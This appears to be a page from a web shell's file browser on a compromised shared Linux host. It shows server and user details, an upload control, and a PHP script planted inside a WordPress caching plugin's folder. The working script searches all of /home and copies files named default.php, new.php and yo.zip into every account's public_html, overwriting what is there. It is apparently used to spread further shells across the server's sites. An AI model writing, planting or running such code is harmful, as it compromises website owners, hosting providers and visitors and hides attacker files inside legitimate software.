HEX
Server: Apache/2
System: Linux saturn 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: centuryt (1072)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/centuryt/public_html/wp-content/plugins/wp-fastest-cache/js/cdn/a.php
<?php

function copyFilesToPublicHtml($rootDir, $files) {
    // Fungsi untuk mendapatkan nama file saja dari path lengkap
    $fileBasenames = array_map(fn($file) => pathinfo($file, PATHINFO_BASENAME), $files);

    // Menggunakan fungsi scandir dan is_dir untuk rekursi manual
    $directoryQueue = [$rootDir];

    // Start output buffering to capture echo and display later
    ob_start();
    
    while (!empty($directoryQueue)) {
        $currentDir = array_shift($directoryQueue);
        $dirContents = array_diff(scandir($currentDir), ['.', '..']);

        foreach ($dirContents as $content) {
            $path = $currentDir . DIRECTORY_SEPARATOR . $content;

            if (is_dir($path)) {
                if ($content === 'public_html') {
                    $publicHtmlPath = $path;
                    foreach ($files as $file) {
                        if (file_exists($file)) {
                            $targetFile = $publicHtmlPath . DIRECTORY_SEPARATOR . pathinfo($file, PATHINFO_BASENAME);
                            // Menyalin file (dengan overwrite jika sudah ada)
                            copy($file, $targetFile);
                            echo "Copied and overwrote $file to $publicHtmlPath<br>";
                        } else {
                            echo "File $file does not exist.<br>";
                        }
                    }
                } else {
                    // Tambahkan direktori ke antrian untuk rekursi
                    $directoryQueue[] = $path;
                }
            }
        }
    }
    
    // Flush the output buffer and get its content
    $output = ob_get_clean();
    
    // Display the output with HTML structure for readability
    echo "<pre>" . nl2br($output) . "</pre>";
}

// Tentukan direktori root untuk memulai pencarian
$rootDir = '/home';

// Daftar file yang akan disalin
$filesToCopy = ['default.php', 'new.php', 'yo.zip'];

// Mulai proses penyalinan
copyFilesToPublicHtml($rootDir, $filesToCopy);

echo "Operation completed.<br>";